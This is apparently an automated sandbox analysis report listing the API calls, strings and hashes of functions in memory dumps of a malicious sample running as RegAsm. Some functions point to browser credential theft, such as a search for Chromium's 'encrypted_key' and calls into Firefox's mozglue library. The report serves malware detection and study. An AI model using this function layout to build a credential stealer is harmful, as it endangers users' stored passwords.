lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,0041595C,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 0041596A
GlobalFree.KERNEL32(?), ref: 00415A8C

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 00415A18
StrCmpCA.SHLWAPI(?,00436645), ref: 00415A35
lstrcatA.KERNEL32(?,?), ref: 00415A54
lstrcatA.KERNEL32(?,00436A8C), ref: 00415A65

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 4109952398-0
Opcode ID: d26aa042b157f76280ac1bd2c5c0b2e767f8977a975bf23e6428a7b657f88bac
Instruction ID: 6183751a843e9b5ccf38989ff522c42df2aa56b0b2be8c3795fe486b73397a39
Opcode Fuzzy Hash: d26aa042b157f76280ac1bd2c5c0b2e767f8977a975bf23e6428a7b657f88bac
Instruction Fuzzy Hash: A2715DB1D4022D9FDF20DF60DC45BCA77BAAF88314F0405E6E908A3250EA769FA58F55

Function 00428C64 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428C7D

Part of subcall function 004241C2: Sleep.KERNEL32(00000000,?), ref: 004241EA

__calloc_crt.LIBCMT ref: 00428CA1
_free.LIBCMT ref: 00428CAF
__calloc_crt.LIBCMT ref: 00428CBD
_free.LIBCMT ref: 00428CCD
_free.LIBCMT ref: 00428CD3
__copytlocinfo_nolock.LIBCMT ref: 00428CE2
__setlocale_nolock.LIBCMT ref: 00428CEF
_free.LIBCMT ref: 00428D08
__setmbcp_nolock.LIBCMT ref: 00428D1A
_free.LIBCMT ref: 00428D28
_free.LIBCMT ref: 00428D3C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction ID: 2633d5c75628dbda373d059fab78691d05321d8df285e908f3ee51af2af815d3
Opcode Fuzzy Hash: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction Fuzzy Hash: 0321373170B520ABD721BF27F80295FBBE4DF91754BA0842FF8848A251DF3D9851866D

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6C11C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C11C5A3
WideCharToMultiByte.KERNEL32 ref: 6C11C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C11C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C11CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C11CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C11CAA5

Strings

(null), xrefs: 6C11C596
0, xrefs: 6C11D30A

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 116dc51fcd287f9c29fb0f1ea261b94f869d94482bec72251be73fb61011de0e
Instruction ID: c016a42e8bd38682f44f0699be3b55ecc882cf0b42e9a7e78322be3e364bb217
Opcode Fuzzy Hash: 116dc51fcd287f9c29fb0f1ea261b94f869d94482bec72251be73fb61011de0e
Instruction Fuzzy Hash: 2EA1BC7060D3818FDB01EF28C56475ABBE1AF8A758F04893CE889D7B41D739E805CB92

Function 6C0F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C0F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C0F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C0F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C0F350E
__Init_thread_footer.LIBCMT ref: 6C0F3522
__aulldiv.LIBCMT ref: 6C0F3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C0F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C0F3592

Part of subcall function 6C12AB89: EnterCriticalSection.KERNEL32(6C17E370,?,?,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB94
Part of subcall function 6C12AB89: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12ABD1

Strings

kernel32.dll, xrefs: 6C0F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C0F3508

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6168055b68e2e1155f9767ef5019e25ca8a2a7a8266c91103c0533f3a733fbd3
Instruction ID: 9a0e69b35506d3049b0c0e94ed12e1f19642d7b6916505146095892d82618762
Opcode Fuzzy Hash: 6168055b68e2e1155f9767ef5019e25ca8a2a7a8266c91103c0533f3a733fbd3
Instruction Fuzzy Hash: 8F31AD70F002199BDF02DBB9C848BAA77B5FB8A714F100019E921A3750DB34A946DB71

Function 0042675D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426784
_free.LIBCMT ref: 00426792
_free.LIBCMT ref: 0042679D
_free.LIBCMT ref: 00426771

Part of subcall function 0041DA8B: HeapFree.KERNEL32(00000000,00000000,?,0041D2D9,00000000,0043B79C,0041D320,0040EEBE,?,?,0041D40A,0043B79C,?,?,0042ED88,0043B79C), ref: 0041DAA1
Part of subcall function 0041DA8B: GetLastError.KERNEL32(?,?,?,0041D40A,0043B79C,?,?,0042ED88,0043B79C,?,?,?), ref: 0041DAB3

___free_lc_time.LIBCMT ref: 004267BB
_free.LIBCMT ref: 004267C6
_free.LIBCMT ref: 004267EB
_free.LIBCMT ref: 00426802
_free.LIBCMT ref: 00426811

Strings

xLC, xrefs: 004267AB

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: 243e21990e70f9a3c5f17d483c4b9c8865d6b400f39af9c87473e714f18c534c
Instruction ID: 8cac7666a54ef9ad67cd13d94e6202e604d852b2b9b303282692c60b27ab9baf
Opcode Fuzzy Hash: 243e21990e70f9a3c5f17d483c4b9c8865d6b400f39af9c87473e714f18c534c
Instruction Fuzzy Hash: 991182B2A043129BDF20EF65F885A9A7395EF4134AF55493FF50497241CB3CAC80C629

Function 6C0F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C134843,?), ref: 6C0F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C134843,?), ref: 6C0F468A
free.MOZGLUE(?,?,?,?,?,?,6C134843,?), ref: 6C0F46C9
free.MOZGLUE(?), ref: 6C0F46EF
free.MOZGLUE(?), ref: 6C0F4712
free.MOZGLUE(?), ref: 6C0F4735
free.MOZGLUE(?), ref: 6C0F4758
free.MOZGLUE(?), ref: 6C0F477B
free.MOZGLUE(?), ref: 6C0F479E

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 56a40f418f75d048edd7b1275ee841896d6b52c27d94bc96d121e4d4da2b81d9
Instruction ID: 07fe5ab211cb33a06a5280d9fd112176f5790c41c5febd9531560725bbb401b7
Opcode Fuzzy Hash: 56a40f418f75d048edd7b1275ee841896d6b52c27d94bc96d121e4d4da2b81d9
Instruction Fuzzy Hash: FCB10571A041149FDB18DEBCCA9076D77F5AF45328F580628EC36DBBD2E73099828B91

Function 6C15AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C15AC52
CreateFileMappingW.KERNEL32 ref: 6C15AC7D
GetSystemInfo.KERNEL32 ref: 6C15AC98
MapViewOfFile.KERNEL32 ref: 6C15ACB0
GetSystemInfo.KERNEL32 ref: 6C15ACCD
MapViewOfFile.KERNEL32 ref: 6C15AD05
UnmapViewOfFile.KERNEL32 ref: 6C15AD1C
CloseHandle.KERNEL32 ref: 6C15AD28
UnmapViewOfFile.KERNEL32 ref: 6C15AD37
CloseHandle.KERNEL32 ref: 6C15AD43
CloseHandle.KERNEL32 ref: 6C15AD67

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f118025149bfb693eee50a3d6e2f1d675d412b8237fcb1290a58a3ce147775dc
Instruction ID: 00078ab4a5085282cb6df56814811016f3a283c8cb05bacad2c2d0f380613256
Opcode Fuzzy Hash: f118025149bfb693eee50a3d6e2f1d675d412b8237fcb1290a58a3ce147775dc
Instruction Fuzzy Hash: 583160B1A047048FDB01BF79D6482AEBBF1BF85305F014A2DE99587311EF709598CBA2

Function 0041BADB Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,033B2528), ref: 0041BB0F
GetFileSize.KERNEL32(?,00000000), ref: 0041BB88
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BBA4
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BBB8
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BBC1
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBD1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BBEF
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BBFF

Strings

, xrefs: 0041BB5B

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: b07237fb4f10cfbcc334c992335ad89d79030856b8218f6a94d6712ebdde5c25
Instruction ID: 459a2d24e54f8a646171db7d8990df60452748f967053102cf2e0fb2cd60fb91
Opcode Fuzzy Hash: b07237fb4f10cfbcc334c992335ad89d79030856b8218f6a94d6712ebdde5c25
Instruction Fuzzy Hash: 5651D971D0021CAFDB28DFA5D885AEEBBB9EF44304F10442AE515E7260E774AD85CF94

Function 6C109620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C109675
__Init_thread_footer.LIBCMT ref: 6C109697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C1096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C109707
__Init_thread_footer.LIBCMT ref: 6C10971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C109773

Part of subcall function 6C12AB89: EnterCriticalSection.KERNEL32(6C17E370,?,?,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284), ref: 6C12AB94
Part of subcall function 6C12AB89: LeaveCriticalSection.KERNEL32(6C17E370,?,6C0F34DE,6C17F6CC,?,?,?,?,?,?,?,6C0F3284,?,?,6C1156F6), ref: 6C12ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C1097B7
FreeLibrary.KERNEL32 ref: 6C1097D0
FreeLibrary.KERNEL32 ref: 6C1097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C109824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C109670
ntdll.dll, xrefs: 6C1096E3
MapViewOfFileNuma2, xrefs: 6C1097B1
NtMapViewOfSection, xrefs: 6C109701

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 723b52a301b49cf25b462fd88b9e66428d5c98f3bc5b2280e3ec697eb912ad18
Instruction ID: b6a770bcd5018bd69581ec8134accd62a2398af9fabf5df7e34e6c9acb7ccf9d
Opcode Fuzzy Hash: 723b52a301b49cf25b462fd88b9e66428d5c98f3bc5b2280e3ec697eb912ad18
Instruction Fuzzy Hash: B041BCB57002159FDF01CFA4D8A8A9B77B5FB8A329F104129ED2587B80DB34A854DFB1

Function 0040DB7F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: fa0c789a19792dc347fd3471e21517be8c085a2b9abfaca1a306208e2a171469
Instruction ID: 66b4e52f283d0f44f810ea8958a0e86cb5e2441282104c6e6d5e072461108323
Opcode Fuzzy Hash: fa0c789a19792dc347fd3471e21517be8c085a2b9abfaca1a306208e2a171469
Instruction Fuzzy Hash: 39314C71D002199FDB00DFE8DC49A9EBBB9AF09355F100179E901BB281DB79A9098B94

Function 0041FA92 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041FAB7

Part of subcall function 0041F652: Replicator::operator[].LIBCMT ref: 0041F6D5
Part of subcall function 0041F652: DName::operator+=.LIBCMT ref: 0041F6DD

DName::operator+.LIBCMT ref: 0041FB10
DName::DName.LIBCMT ref: 0041FB68

Strings

<ellipsis>, xrefs: 0041FB52
void, xrefs: 0041FB60
,..., xrefs: 0041FAFC, 0041FB08
..., xrefs: 0041FB4B, 0041FB57
,<ellipsis>, xrefs: 0041FB03

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 56f446ee6c1cb4535532eaba65fd35935e1f9c97760db88423e34b82217865c2
Instruction ID: 4fbab30ed0f7c280ee621250eab99e28f5e8fa3157f622782464c69e5c7bd782
Opcode Fuzzy Hash: 56f446ee6c1cb4535532eaba65fd35935e1f9c97760db88423e34b82217865c2
Instruction Fuzzy Hash: 26217130605208AFCB11DF5CD4549A97BF4EF4534AB44806AE845DB362D738F987CB48

Function 0042142C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00421436
DName::DName.LIBCMT ref: 00421442

Part of subcall function 0041F10C: DName::doPchar.LIBCMT ref: 0041F13D

UnDecorator::getScopedName.LIBCMT ref: 00421481
